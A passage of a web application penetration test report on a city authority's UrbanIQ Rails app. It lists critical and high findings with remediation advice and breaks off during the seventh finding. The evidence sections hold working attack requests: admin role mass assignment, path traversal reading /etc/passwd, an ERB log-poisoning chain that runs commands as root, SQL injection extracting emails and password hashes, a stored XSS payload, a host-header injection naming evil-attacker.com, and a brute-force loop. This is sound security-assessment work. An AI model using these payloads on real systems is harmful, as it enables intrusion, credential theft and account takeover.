intruder

Web Application Penetration Test

Acmeville City Authority

Wednesday, 8 July 2026

Contents

1. Executive Summary

Intruder performed a code-assisted penetration test of the UrbanIQ municipal analytics application on Wednesday 8th July 2026. The objective of the test was to discover security weaknesses in the UrbanIQ application and provide remediation advice to resolve these weaknesses. During the penetration test, Intruder identified four critical risk issues and four high risk issues which could allow an attacker to gain complete control of the server, access all user data and sensitive government records requests, and gain full administrator-level access to the application.

One of the critical issues relates to the report export feature, which is accessible to anyone on the internet without requiring a login. A flaw in how the application processes export requests allows an unauthenticated attacker to read sensitive configuration files from the server—including database credentials—and execute arbitrary commands with full administrative privileges over the underlying system. Exploitation requires no credentials or special knowledge, and would give an attacker complete control of the server and all data it holds.

A further critical issue exists in the report search feature, where user input is incorporated directly into database queries without proper safeguards. Because the platform allows open self-registration, any external attacker can create a free account and exploit this flaw to extract the entire contents of the database in a single request, including the email addresses and encrypted passwords of all users. This would allow an attacker to crack passwords offline and gain access to any account on the platform, including those belonging to government employees at agencies such as city planning, transit, and environmental protection.

Another critical issue allows anyone registering a new account to grant themselves full administrative access to the platform by manipulating the registration request. This requires no technical sophistication beyond adding a single parameter to the sign-up process. Once elevated, the attacker can view every user's personal details, read all open records requests—including those relating to sensitive subjects such as police body-camera footage—and modify or cancel any request in the system.

The remaining critical issue lets any registered user inject malicious code into report pages that automatically executes in the browsers of all subsequent visitors, including unauthenticated members of the public. This issue could be used to steal user sessions, or redirect visitors to malicious websites, posing significant reputational and operational risk to the organisation.

> **Recommended Remediation Timelines**
>
> Critical: within 24 hours · High: within 7 days · Medium: within 30 days · Low: next release cycle

2. Overview

Intruder performed a code-assisted penetration test of Acmeville City Authority's UrbanIQ web application on 8 July 2026. The objective was to identify security vulnerabilities, and to assist Acmeville City Authority in securing their systems against attack.

Scope

Acmeville City Authority provided Intruder with access to the development environment at `http://urbaniq.turbo-apps-local.intrud.es/` for testing. Full access to the application source code at `gitlab.acmeville.com/apps/urbaniq.git` was provided. The `main` branch was used for testing.

Access

Intruder was given access to the following accounts for testing:

USERNAME	ACCESS LEVEL
sarah.chen@urbaniq.io	Admin user
james.okafor@acmeville.com	Analyst user
lisa.thompson@transit.acmeville.com	Viewer user (read-only)

Testing was performed using these accounts, as well as from an unauthenticated perspective.

Out of Scope

Denial-of-service attacks, social engineering, phishing, and physical security testing were excluded from the scope of the assessment.

Limitations

This penetration test was conducted within an agreed budget and scope, and represents a point-in-time evaluation of the systems tested. Security testing of this nature is inherently non-exhaustive — the absence of a finding does not imply the absence of a vulnerability. Results reflect the techniques and tooling available at the time of testing. The attack surface, threat landscape, and underlying systems may change after the assessment concludes.

3. Summary

The following table summarises the weaknesses found during the vulnerability assessment. The weaknesses are ranked by risk, which is a combination of their impact (if successfully exploited) with the likelihood of achieving the exploit. The methodology used to assess these ratings is given in Appendix B.

REFERENCE	RISK	TITLE
VULN-001	Critical	Privilege Escalation to Administrator on User Registration
VULN-002	Critical	Remote Code Execution in Report Export Endpoint
VULN-003	Critical	SQL Injection in Reports Search
VULN-004	Critical	Stored Cross-Site Scripting in Report Annotations
VULN-005	High	Host Header Injection in Password Reset
VULN-006	High	Unlimited Password Brute-Forcing on Login Endpoint
VULN-007	High	Unauthorised Access to Private Dashboards
VULN-008	High	Missing Authorisation on Forum Post Modification and Deletion
VULN-009	Medium	User Enumeration on Login Endpoint
VULN-010	Medium	Race Condition in Fee Waiver Approval Exceeds Annual Cap

4. Findings

VULN-001: Privilege Escalation to Administrator on User Registration

> **Critical**
> Impact: **High** · Likelihood: **High**

Any anonymous visitor can register an account with full administrative privileges by appending an extra parameter to the registration request. The role field is not exposed in the registration form, but the server accepts it, allowing an attacker to grant themselves the highest level of access with no prerequisites beyond knowledge of the parameter name. This yields complete control over the application, including the ability to view every user's personal details and email address, read all CORA records requests (which may contain sensitive subjects such as police body-camera footage), modify fee assessments on other users' requests, cancel any request, and delete any comment or dashboard.

EVIDENCE

To confirm the vulnerability, a new account was registered with the `role` parameter set to `admin`. The following request was sent to the registration endpoint:

```
POST /users HTTP/1.1
Host: urbaniq.turbo-apps-local.intrud.es
Content-Type: application/x-www-form-urlencoded

authenticity_token=<token>&user[name]=Pentest+Validation&user[email]=pentest
_validate_role@example.com&user[password]=Passw0rd123!&user[password_confirm
ation]=Passw0rd123!&user[role]=admin
```

The server responded with an `HTTP 303 See Other` redirect, confirming a successful registration. The session cookie returned with the redirect was then used to request the admin-only user-listing endpoint:

```
GET /admin/users HTTP/1.1
Host: urbaniq.turbo-apps-local.intrud.es
```

The endpoint returned a JSON array containing every user in the system, with the newly created account listed first and confirming its role as `admin`:

```
[
  {
    "id": 15,
    "name": "Pentest Validation",
```

```
    "email": "p************************@example.com",
    "role": "admin",
    "created_at": "2026-06-30T05:35:29.600-06:00"
  },
  {
    "id": 1,
    "name": "Sarah Chen",
    "email": "s*************@urbaniq.io",
    "role": "admin",
    "created_at": "2026-06-30T04:26:49.758-06:00"
  }
]
```

Using the same session, the attacker was also able to access a CORA records request belonging to another user that contained a sensitive subject line:

```
Police body-cam footage from 2025-12-15 protest at Civic Center
```

This demonstrates that a single unauthenticated request is sufficient to obtain full administrative control of the platform.

TECHNICAL DETAIL

The application uses Devise for authentication and an integer-backed enum on the `User` model to enforce three privilege tiers. In `app/models/user.rb` at line 12, the roles are defined as follows:

```
enum role: { viewer: 0, analyst: 1, admin: 2 }
```

A default role of `viewer` is assigned to new records via an `after_initialize` callback, which is the correct behaviour. However, the strong-parameters configuration in `app/controllers/application_controller.rb` at lines 8–9 explicitly whitelists the `role` attribute for Devise's sign-up and account-update actions:

```
def configure_permitted_parameters
  devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :role])
  devise_parameter_sanitizer.permit(:account_update, keys: [:name, :role])
end
```

Because `role` is a permitted parameter, any value supplied in the registration POST body — such as `user[role]=admin` — is passed straight through to the model and persisted. The registration form at `app/views/devise/registrations/new.html.erb` does not contain a role field, so legitimate users would never set it. An attacker, however, only needs to add the parameter to the raw HTTP request.

Once an attacker holds an admin session, the application's authorisation model grants them unrestricted access. The `AdminController` returns a JSON list of every user's name, email, and role. The `RecordsRequestsController` allows analysts and admins to view all CORA requests, assess fees on any submitted request, and advance request states. Admins can additionally cancel any request, delete any comment, and edit or delete any dashboard.

The same mass-assignment flaw also applies to the account-update action, meaning an existing low-privileged user could elevate their own role by adding `user[role]=admin` to a profile-update request.

REMEDIATION ADVICE

The `role` attribute should be removed from the permitted parameters for both the sign-up and account-update Devise actions in `app/controllers/application_controller.rb`. The corrected method should read as follows:

```
 def configure_permitted_parameters
   devise_parameter_sanitizer.permit(:sign_up, keys: [:name])
   devise_parameter_sanitizer.permit(:account_update, keys: [:name])
 end
```

Role assignment should be restricted to a dedicated administrative workflow that is itself protected by an authorisation check (for example, the existing `require_admin!` before-action). Under no circumstances should end users be able to specify their own privilege level through any public-facing form or API parameter.

As a defence-in-depth measure, the `User` model should also include an `attr_readonly :role` declaration or a custom validation that prevents the role from being changed outside of a controlled administrative context. This would guard against future regressions should the permitted-parameters list be inadvertently expanded.

LOCATION

`app/controllers/application_controller.rb:8, 9`

VULN-002: Remote Code Execution in Report Export Endpoint

Critical

Impact: **High** · Likelihood: **High**

The report export endpoint allows unauthenticated users to read arbitrary files from the server and execute arbitrary operating-system commands as root. An attacker needs no credentials and only needs to know a valid dashboard and report identifier, both of which are sequential integers beginning at 1. Successful exploitation gives an attacker complete control of the server, including access to the database, application secrets, and the ability to modify or destroy all data.

EVIDENCE

The arbitrary file-read vulnerability was confirmed by requesting the server's `/etc/passwd` file without any authentication cookies:

```
curl -sk 'https://urbaniq.turbo-apps-local.intrud.es/dashboards/1/reports/1/
export?template=../../../../../../../../etc/passwd'
```

The server returned the full contents of the file:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
```

The same technique was used to read the database configuration file, which disclosed the PostgreSQL connection string including credentials:

```
curl -sk 'https://urbaniq.turbo-apps-local.intrud.es/dashboards/1/reports/1/
export?template=../../../../config/database.yml'
```

The response included the following:

```
default: &default
  adapter: postgresql
  encoding: unicode
  pool: 5
  url: postgres://t*******:t*******@postgres:5432/urbaniq
```

Remote code execution was then demonstrated using a two-step log-poisoning attack. First, a request was sent to inject an ERB tag into the application log:

```
curl -sk 'https://urbaniq.turbo-apps-local.intrud.es/dashboards/1/reports/1?
rce_validation_test=%3C%25%3D%60id%60%25%3E'
```

Next, the export endpoint was directed to read and render the log file:

```
curl -sk 'https://urbaniq.turbo-apps-local.intrud.es/dashboards/1/reports/1/
export?template=../../../../log/development.log'
```

In the rendered response, the ERB tag had been executed by the server, and the original parameter value was replaced with the output of the `id` command:

```
Parameters: {"rce_validation_test"=>"uid=0(root) gid=0(root) groups=0(root)
", "dashboard_id"=>"1", "id"=>"1"}
```

This confirms that the injected `<%= \`id\` %>` tag was evaluated server-side, and the application process is running as `root` (uid=0).

TECHNICAL DETAIL

The `export` action in `app/controllers/reports_controller.rb` accepts a user-supplied `template` query parameter and uses it to construct a file path. On line 42, the value is taken directly from the request, and on line 43 it is joined into the templates directory path using `Rails.root.join` without any validation or sanitisation. The resulting path is then read from disk and passed through the Ruby ERB templating engine with `binding`, which grants the template full access to the controller's execution context.

The relevant code in `app/controllers/reports_controller.rb` at lines 41–48 is shown below:

```
def export
  template_name = params[:template] || "summary.erb"
  template_path = Rails.root.join("app", "views", "reports", "templates", te
mplate_name)

  if File.exist?(template_path)
    template_content = File.read(template_path)
    rendered = ERB.new(template_content).result(binding)
    send_data rendered, filename: "#{@report.title.parameterize}-export.tx
t", type: "text/plain"
  else
    redirect_to dashboard_report_path(@dashboard, @report), alert: "Export t
emplate not found."
```

```
  end
end
```

Because `Rails.root.join` resolves `..` sequences, an attacker can supply a value such as `../../../../../../../../etc/passwd` to break out of the intended templates directory and read any file the web-server process can access. This constitutes an arbitrary file-read vulnerability on its own and is sufficient to exfiltrate sensitive configuration files such as `config/database.yml`, which contains database credentials.

The vulnerability escalates to full remote code execution because the file content is evaluated by `ERB.new(template_content).result(binding)`. ERB tags such as `<%= "#{id}" %>` embedded anywhere in the read file will be executed as Ruby code. An attacker can exploit this by first poisoning the Rails development log file with an ERB payload. When Rails processes an incoming request, it logs the full decoded parameter values to `log/development.log`. By sending a request with an ERB tag as a query-parameter value, that tag is written verbatim into the log. The attacker then uses the path-traversal vulnerability to point the export action at the log file. The ERB engine processes every tag it encounters in the file, executing the attacker's injected code with the full privileges of the web-server process.

Critically, the `export` action is explicitly excluded from Devise authentication on line 2 of the controller:

```
before_action :authenticate_user!, except: [:show, :export]
```

This means an unauthenticated, anonymous attacker can exploit the entire chain. The only prerequisite is a valid dashboard and report ID pair, and both use sequential integers starting at 1, making them trivial to guess.

REMEDIATION ADVICE

The template parameter must be strictly validated to prevent path traversal. The simplest approach is to strip any directory components using `File.basename` and then check the resulting name against an explicit allowlist of known templates. The following replacement for the first two lines of the `export` method in `app/controllers/reports_controller.rb` would achieve this:

```
 template_name = File.basename(params[:template] || "summary.erb")
unless %w[summary.erb detailed.erb].include?(template_name)
  return redirect_to dashboard_report_path(@dashboard, @report), alert: "Inv
alid export template."
end
template_path = Rails.root.join("app", "views", "reports", "templates", temp
late_name)
```

Beyond input validation, the use of `ERB.new(template_content).result(binding)` to render file contents is inherently dangerous, because it grants the template full access to the controller's

execution context including all instance variables, the session, and the ability to execute arbitrary Ruby and system commands. If dynamic templating is required, a sandboxed templating engine such as Liquid should be used instead. If ERB must be retained, it should only ever process files from a trusted, fixed set of templates that are not influenced by user input.

The `export` action should also be placed behind authentication. It is currently excluded from the `authenticate_user!` before-action filter on line 2 of the controller. Removing `:export` from the `except` array will ensure that only authenticated users can access the endpoint.

Finally, the application process should not run as `root`. Running the web server under a dedicated, unprivileged user account limits the blast radius of any server-side vulnerability.

LOCATION

`app/controllers/reports_controller.rb:2, 41, 42, 43, 46, 47`

VULN-003: SQL Injection in Reports Search

Critical

Impact: **High** · Likelihood: **High**

The reports search feature on each dashboard accepts a query parameter that is interpolated directly into a SQL statement without sanitisation. Because the application allows open self-registration, any external attacker can create an account and immediately inject arbitrary SQL to extract the full contents of the PostgreSQL database. This was confirmed by extracting every user's email address and bcrypt password hash in a single request, which would allow an attacker to conduct offline password-cracking attacks and gain access to any account in the system.

EVIDENCE

To confirm that no prior access is needed, a new account was registered through the public sign-up form. The following request created a `viewer`-role account and returned a valid session cookie:

```
POST /users HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[name]=Test+User&user[email]=testuser12345@example.com&user[password]=Pa
ssword123!&user[password_confirmation]=Password123!
```

The server responded with a `303 See Other` redirect and a `Set-Cookie` header, confirming successful registration and automatic login.

Using the newly created account's session cookie, a single quote was injected into the search parameter to confirm that user input reaches the SQL engine unsanitised:

```
GET /dashboards/1/reports?q=' HTTP/1.1
```

The server responded with a 500 status code and the following PostgreSQL error in the body:

```
PG::SyntaxError: ERROR: unterminated quoted string at or near "') ORDER BY
"reports"."created_at" DESC"
```

To confirm data extraction, the PostgreSQL version was retrieved using an error-based `CAST` injection:

```
GET /dashboards/1/reports?q=%25')+AND+1=CAST((SELECT+version())+AS+int)-- HT
TP/1.1
```

The error message in the response disclosed the full version string:

```
PG::InvalidTextRepresentation: ERROR: invalid input syntax for type integer:
"PostgreSQL 16.13 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 15.
2.0) 15.2.0, 64-bit"
```

All user email addresses were then extracted in a single request:

```
GET /dashboards/1/reports?q=%25')+AND+1=CAST((SELECT+string_agg(email,',')+F
ROM+users)+AS+int)-- HTTP/1.1
```

The response contained every address in the `users` table:

```
invalid input syntax for type integer: "m************@urbaniq.io,e*********
****@acmeville.com,
j***********@acmeville.com,p***********@acmeville.com,l************@transi
t.acmeville.com,
r************@gov.acmeville.com,a************@works.acmeville.com,c********
*****@planning.acmeville.com,
d**********@citycouncil.acmeville.com,s*********@urbaniq.io"
```

A bcrypt password hash was extracted with the following request:

```
GET /dashboards/1/reports?q=%25')+AND+1=CAST((SELECT+encrypted_password+FROM
+users+LIMIT+1)+AS+int)-- HTTP/1.1
```

The response disclosed the hash:

```
invalid input syntax for type integer: "$2a$12$72Ra************************
************************"
```

An enumeration of all database tables was also performed, confirming access to `users`, `dashboards`, `reports`, `forum_posts`, `comments`, `records_requests`, and `report_annotations`. The test account was deleted after testing to restore the original state.

TECHNICAL DETAIL

The `index` action in `app/controllers/reports_controller.rb` constructs a SQL `WHERE` clause by interpolating the user-supplied `q` parameter directly into a raw SQL string. The vulnerable code on lines 8–10 is shown below:

```
def index
  @reports = @dashboard.reports.recent.includes(:generated_by)
  if params[:q].present?
    @reports = @reports.where("title LIKE '%#{params[:q]}%'").includes(:gene
```

```
rated_by).to_a
  end
end
```

Because the value of `params[:q]` is placed inside the SQL string with standard Ruby string interpolation (`#{}`), an attacker can terminate the quoted string literal and inject additional SQL clauses. The application uses PostgreSQL as its database, which enables an error-based data-extraction technique: by casting a subquery's text result to an integer via `CAST((...) AS int)`, PostgreSQL raises an error that includes the subquery output in its message. Since the application is running in a mode that renders these database errors in the HTTP response body, the extracted data is returned directly to the attacker.

The `index` action is protected by a `before_action :authenticate_user!` callback defined in the controller, meaning the attacker must hold a valid session. However, the Devise `registerable` module is enabled on the `User` model and the registration endpoint at `/users/sign_up` is publicly accessible, so an attacker can create an account with any email address and no verification step. Newly registered users are assigned the default `viewer` role, but there is no role-based restriction on the vulnerable action—a `viewer` can exploit this just as easily as an administrator. The dashboard ID in the URL path (`/dashboards/:dashboard_id/reports`) must be valid, but dashboard IDs are sequential integers and easily enumerable.

The injection point grants the attacker read access to the entire database, including the `users` table (which contains email addresses, bcrypt password hashes, and role assignments), `records_requests`, and all other application tables.

REMEDIATION ADVICE

The root cause is the use of Ruby string interpolation to embed user input directly into a SQL fragment. The fix is to use Rails' parameterised query interface, which sends user input as a bound parameter that the database driver will never interpret as SQL syntax.

The `where` call on line 9 of `app/controllers/reports_controller.rb` should be rewritten to use a placeholder and the `sanitize_sql_like` helper, which also escapes SQL `LIKE` wildcards (`%` and `_`) that the user might supply:

```
 if params[:q].present?
   sanitized_q = ActiveRecord::Base.sanitize_sql_like(params[:q])
   @reports = @reports.where("title LIKE ?", "%#{sanitized_q}%").includes(:ge
nerated_by).to_a
end
```

As a defence-in-depth measure, the application should also be configured so that detailed database error messages are never rendered to end users. Setting `config.consider_all_requests_local = false` in the production environment configuration (`config/environments/production.rb`) will prevent stack traces and error details from appearing in HTTP responses, reducing the effectiveness of error-based extraction techniques even if a similar flaw is introduced elsewhere.

LOCATION

`app/controllers/reports_controller.rb:8, 9, 10`

VULN-004: Stored Cross-Site Scripting in Report Annotations

Critical

Impact: **High** · Likelihood: **High**

Any authenticated user can inject arbitrary JavaScript into report annotations, which then executes in the browser of every subsequent visitor who views the report page. Because the application's report pages are publicly accessible without authentication, the stored payload affects all visitors, including unauthenticated users. Since registration is open to the public, an attacker requires no prior access or privileges to exploit this issue, and successful exploitation could lead to session hijacking, credential theft, or actions performed on behalf of victims.

EVIDENCE

To confirm the vulnerability, a malicious annotation was created by sending the following authenticated POST request:

```
POST /dashboards/1/reports/1/annotations HTTP/1.1
Host: urbaniq.turbo-apps-local.intrud.es
Content-Type: application/x-www-form-urlencoded

authenticity_token=<token>&report_annotation[body]=<img src=x onerror=alert
('XSS-ANNOTATION-VALIDATE')>
```

The server responded with a 302 redirect, confirming the annotation was created successfully. An unauthenticated GET request to the report page was then issued to verify the payload was rendered without escaping:

```
curl -sk "https://urbaniq.turbo-apps-local.intrud.es/dashboards/1/reports/1"
| grep -i "onerror"
```

The response contained the raw, unescaped HTML tag in the page body:

```
<div><img src=x onerror=alert('XSS-ANNOTATION-VALIDATE')></div>
```

When the same URL was loaded in a browser without any session cookie, the injected `onerror` handler fired immediately, producing a JavaScript alert dialog with the message "XSS-ANNOTATION-VALIDATE". This confirmed arbitrary JavaScript execution in the context of the application's origin for any unauthenticated visitor.

TECHNICAL DETAIL

Rails automatically escapes HTML in ERB templates to prevent cross-site scripting. However, calling `.html_safe` on a string explicitly marks it as safe for rendering and bypasses this protection. In `app/views/reports/show.html.erb` at line 43, annotation bodies are rendered using this unsafe method:

```
<div><%= annotation.body.html_safe %></div>
```

The annotation creation endpoint, handled by `ReportAnnotationsController`, accepts a `body` parameter from any authenticated user and stores it without any sanitisation. The relevant permitted parameters in `app/controllers/report_annotations_controller.rb` show no filtering:

```
def annotation_params
  params.require(:report_annotation).permit(:body)
end
```

The `ReportAnnotation` model validates only that `body` is present; no content-level validation or sanitisation is performed.

Critically, the `ReportsController` exempts the `show` action from authentication, as seen in `app/controllers/reports_controller.rb`:

```
before_action :authenticate_user!, except: [:show, :export]
```

This means that once a malicious annotation is stored, its JavaScript payload is served to and executed by any visitor who opens the report page, whether authenticated or not. An attacker need only register a free account on the platform (registration is enabled via Devise's `registerable` module) to gain the ability to create annotations and plant a persistent cross-site scripting payload.

REMEDIATION ADVICE

The `.html_safe` call on the annotation body should be removed. Changing line 43 of `app/views/reports/show.html.erb` to use the default ERB output tag will restore Rails' automatic HTML escaping:

```
<div><%= annotation.body %></div>
```

If the application requires annotations to support a limited set of HTML formatting (such as bold or italic text), the `sanitize` helper built into Rails should be used instead. This helper strips all tags and attributes except those on an explicit allow-list:

```
<div><%= sanitize(annotation.body, tags: %w[b i em strong p br], attributes:
```

```
  []) %></div>
```

It is also worth auditing the rest of the codebase for other uses of `.html_safe` and `raw()` on user-controlled data, as the same pattern may exist elsewhere.

LOCATION

`app/views/reports/show.html.erb:43`

VULN-005: Host Header Injection in Password Reset

> **High**
>
> Impact: **High** · Likelihood: **Medium**

The password reset endpoint accepts an attacker-controlled HTTP header that is used to construct the links within password reset emails. An unauthenticated attacker who knows a user's email address can trigger a password reset in which the reset link points to a domain the attacker controls. If the victim clicks the link, the password reset token is sent to the attacker's server, enabling full account takeover. Because the application sets the mailer host globally at the class level, a single poisoned request can also taint the links in emails generated by other requests handled by the same server process.

EVIDENCE

To confirm the vulnerability, two password reset requests were issued for the same account—one without the poisoned header and one with it—and their redirect locations were compared.

A baseline request without the `X-Forwarded-Host` header produced a redirect to the legitimate application domain:

```
HTTP/1.1 303 See Other
location: https://urbaniq.turbo-apps-local.intrud.es/users/sign_in
```

A subsequent request with the poisoned header was then sent:

```
curl -sk -b /tmp/poison_test_cookies.txt -D - -o /dev/null \
  -X POST "https://urbaniq.turbo-apps-local.intrud.es/users/password" \
  -H "X-Forwarded-Host: evil-attacker.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "authenticity_token=<token>&user[email]=s*********@urbaniq.io&commit=Se
nd+me+reset+password+instructions"
```

The response confirmed that the host injection was accepted and that a password reset email was dispatched:

```
HTTP/1.1 303 See Other
location: https://evil-attacker.com/users/sign_in
server-timing: ..., deliver.action_mailer;dur=44.40, ...
```

The `location` header points to `evil-attacker.com`, demonstrating that the application used the attacker-controlled value as its host for URL generation. The `deliver.action_mailer` timing entry

confirms that a password reset email was actually sent during this request, with the mailer host already set to the attacker's domain.

TECHNICAL DETAIL

Every request to the application passes through a `before_action` callback called `set_mailer_host`, defined on lines 14–16 of `app/controllers/application_controller.rb`:

```
def set_mailer_host
  ActionMailer::Base.default_url_options[:host] =
    request.headers["X-Forwarded-Host"] || request.host
end
```

This method reads the `X-Forwarded-Host` HTTP header directly from the incoming request and, without any validation, assigns it to `ActionMailer::Base.default_url_options[:host]`. This is a class-level (global) setting on `ActionMailer::Base`, which means the value persists for the lifetime of the server process, or until another request overwrites it.

When a user submits the "Forgot Password" form at `POST /users/password`, Devise's `:recoverable` module generates a reset token, stores a digest in the database, and sends an email containing a link that includes the plaintext token. The URL in that email is constructed using `ActionMailer::Base.default_url_options[:host]` as the hostname. Because `set_mailer_host` executes before the Devise controller action, an attacker-supplied `X-Forwarded-Host` value is already in place by the time the email is rendered.

The attack proceeds as follows:

1. The attacker sends a `POST /users/password` request containing the victim's email address and an `X-Forwarded-Host` header set to a domain they control.
2. The application sets the global mailer host to the attacker's domain and then generates and sends the password reset email. The reset link in the email points to the attacker's domain, e.g. `https://evil-attacker.com/users/password/edit?reset_password_token=TOKEN`.
3. The victim receives a legitimate-looking email from `noreply@urbaniq.io` and clicks the link.
4. The victim's browser navigates to the attacker's server, transmitting the reset token in the query string.
5. The attacker replays the token against the real application at `PATCH /users/password` to set a new password and take over the account.

No authentication is required to trigger the password reset. The only prerequisite is knowing a valid user's email address. The Devise configuration in `config/initializers/devise.rb` sets `reset_password_within` to six hours, giving the attacker a generous window in which to use a captured token. Additionally, because `config.hosts.clear` is set in `config/environments/development.rb`, Rails' built-in `HostAuthorization` middleware is disabled and does not reject requests with arbitrary `Host` or `X-Forwarded-Host` values.

REMEDIATION ADVICE

The mailer host should not be derived from user-supplied request headers. The most robust fix is to remove the `set_mailer_host` callback entirely and rely on the static configuration that already exists in the environment files. In `config/environments/production.rb`, the following line is already present and should be the sole source of the mailer host:

```
config.action_mailer.default_url_options = { host: ENV.fetch("APP_HOST", "ur
banqiq.turbo-apps-local.intrud.es"), protocol: "https" }
```

The same pattern should be applied to `config/environments/development.rb`, replacing the dynamic callback.

If a dynamic host is genuinely required—for instance, to support multiple domains—the `set_mailer_host` method should validate the incoming value against an explicit allowlist before using it:

```
ALLOWED_HOSTS = ["urbaniq.turbo-apps-local.intrud.es"].freeze

def set_mailer_host
  host = request.headers["X-Forwarded-Host"] || request.host
  ActionMailer::Base.default_url_options[:host] =
    ALLOWED_HOSTS.include?(host) ? host : ALLOWED_HOSTS.first
end
```

In either case, the `config.hosts.clear` directive in `config/environments/development.rb` should be reconsidered. Rails' `HostAuthorization` middleware provides a useful defence-in-depth measure against host header attacks, and disabling it removes that protection.

LOCATION

`app/controllers/application_controller.rb:14, 15, 16`

VULN-006: Unlimited Password Brute-Forcing on Login Endpoint

> **High**
>
> Impact: **High** · Likelihood: **Medium**

The login endpoint accepts an unlimited number of failed authentication attempts against any account with no lockout, rate limiting, or other protective mechanism. An unauthenticated attacker who knows—or can guess—a valid email address may submit password attempts indefinitely until the correct credential is found. Because the application enforces a minimum password length of only six characters, the practical search space for a brute-force attack is significantly reduced, placing all user accounts at risk of compromise.

EVIDENCE

To confirm the absence of any brute-force protection, twenty consecutive failed login attempts were submitted against a single account. Each attempt used a different incorrect password, and a fresh CSRF token was obtained before each request.

The following script was used to automate the test:

```
for i in $(seq 1 20); do
  curl -sk -o /dev/null -w "%{http_code}" \
    -X POST https://urbaniq.turbo-apps-local.intrud.es/users/sign_in \
    -b /tmp/brute_cookie.txt \
    -d "authenticity_token=<token>&user[email]=s*********@urbaniq.io&user[pa
ssword]=wrongpassword${i}&commit=Log+in"
done
```

Every one of the twenty attempts returned an HTTP 302 redirect back to the login page, indicating normal processing with no blocking or lockout:

```
Attempt 1: HTTP 302
Attempt 2: HTTP 302
Attempt 3: HTTP 302
...
Attempt 20: HTTP 302
```

After all twenty failed attempts, the targeted account was verified to remain fully accessible via its existing session, returning HTTP 200 on a protected page. The account was neither locked nor degraded in any way, confirming that the application imposes no limit on failed authentication attempts.

TECHNICAL DETAIL

The application uses a custom sessions controller in `app/controllers/users/sessions_controller.rb` that overrides the default Devise login flow. This controller validates credentials directly by looking up the user record and calling `valid_password?`, but it implements no counter for failed attempts and applies no throttling of any kind.

The full controller is shown below:

```
# app/controllers/users/sessions_controller.rb
class Users::SessionsController < Devise::SessionsController
  def create
    email = params.dig(:user, :email).to_s.downcase.strip
    password = params.dig(:user, :password).to_s

    user = User.find_by(email: email)

    if user.nil?
      Rails.logger.warn("auth.failed reason=unknown_email email=#{email}")
      flash[:alert] = "Invalid Email or password."
      redirect_to new_user_session_path
      return
    end

    if user.valid_password?(password)
      sign_in(user)
      redirect_to after_sign_in_path_for(user)
    else
      Rails.logger.warn("auth.failed reason=wrong_password user_id=#{user.i
d}")
      flash[:alert] = "Invalid Email or password."
      redirect_to new_user_session_path
    end
  end
end
```

Devise provides a `:lockable` module that tracks failed login attempts and locks accounts after a configurable threshold. However, the `User` model in `app/models/user.rb` (line 2) only enables a subset of Devise modules, and `:lockable` is not among them:

```
# app/models/user.rb, lines 2–3
devise :database_authenticatable, :registerable,
       :recoverable, :rememberable, :validatable
```

Furthermore, no application-level or middleware-level rate limiting exists anywhere in the stack. The `Gemfile` does not include the `rack-attack` gem (or any equivalent), and

`config/application.rb` inserts no custom middleware. The Devise initialiser at `config/initializers/devise.rb` sets the minimum password length to six characters on line 10:

```
# config/initializers/devise.rb, line 10
config.password_length = 6..128
```

This short minimum, combined with the absence of any brute-force protection, means an attacker can cycle through the space of common short passwords at speed limited only by bcrypt hashing time (roughly four attempts per second per connection), with no mechanism to stop or slow them.

REMEDIATION ADVICE

The most effective remediation combines account-level lockout with network-level rate limiting. Devise's built-in `:lockable` module should be enabled by adding it to the `devise` declaration in `app/models/user.rb`:

```
devise :database_authenticatable, :registerable,
       :recoverable, :rememberable, :validatable, :lockable
```

The corresponding configuration should be added to `config/initializers/devise.rb` to lock accounts after a reasonable number of failed attempts and unlock them automatically after a cooling-off period:

```
config.lock_strategy = :failed_attempts
config.maximum_attempts = 5
config.unlock_strategy = :time
config.unlock_in = 30.minutes
```

A database migration will also be required to add the `failed_attempts`, `locked_at`, and `unlock_token` columns to the `users` table, as specified in the Devise documentation for the lockable module.

In addition, the `rack-attack` gem should be added to the `Gemfile` and configured to throttle login requests by IP address, preventing a single source from issuing a high volume of attempts across multiple accounts:

```
# config/initializers/rack_attack.rb
Rack::Attack.throttle("logins/ip", limit: 5, period: 60.seconds) do |req|
  req.ip if req.path == "/users/sign_in" && req.post?
end
```

Finally, the minimum password length in `config/initializers/devise.rb` should be increased from six to at least twelve characters to reduce the effectiveness of brute-force and credential-stuffing attacks against accounts with weak passwords.

LOCATION

`app/controllers/users/sessions_controller.rb:1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22`

VULN-007: Unauthorised Access to Private Dashboards

High

Impact: **Medium** · Likelihood: **High**

Any unauthenticated visitor can view private dashboards on the UrbanIQ platform by navigating directly to a dashboard URL such as `/dashboards/7`. Although the dashboard listing page correctly filters out private dashboards for users who are not analysts or administrators, the individual dashboard page performs no such check, exposing all private dashboard content to anyone on the internet. Because dashboard identifiers are sequential integers starting from 1, an attacker can trivially enumerate every dashboard in the system and retrieve the full content of each, including titles, descriptions, data sources, and associated reports.

EVIDENCE

The unauthenticated dashboard listing page was first requested to establish which dashboards are publicly visible. The following request returned links to 12 dashboards:

```
$ curl -sk https://urbaniq.turbo-apps-local.intrud.es/dashboards \
  | grep -oP 'dashboards/\d+' | sort -t/ -k2 -n | uniq
dashboards/1
dashboards/2
dashboards/3
dashboards/4
dashboards/5
dashboards/6
dashboards/8
dashboards/9
dashboards/11
dashboards/13
dashboards/14
dashboards/15
```

Dashboard IDs 7, 10, and 12 are notably absent, confirming they are private. Each was then requested directly without any authentication. Dashboard 7 returned the full private dashboard page:

```
$ curl -sk https://urbaniq.turbo-apps-local.intrud.es/dashboards/7 \
  | grep -A3 'line-height: 1.8'
      <p style="line-height: 1.8;">Dynamic population density estimates
      using anonymized cell tower data, transit ridership, and pedestrian
      counter information. Updated hourly during business days.</p>
```

The response included the title "Population Density Heatmap", the creator name "E**** K********", and the full description. Crucially, the "Public" badge that appears on public dashboards was absent,

confirming the dashboard's private status. The same result was observed for the other two private dashboards:

```
$ curl -sk https://urbaniq.turbo-apps-local.intrud.es/dashboards/10 \
  | grep '<title>'
  <title>South Denver Air Quality Trends | UrbanIQ</title>

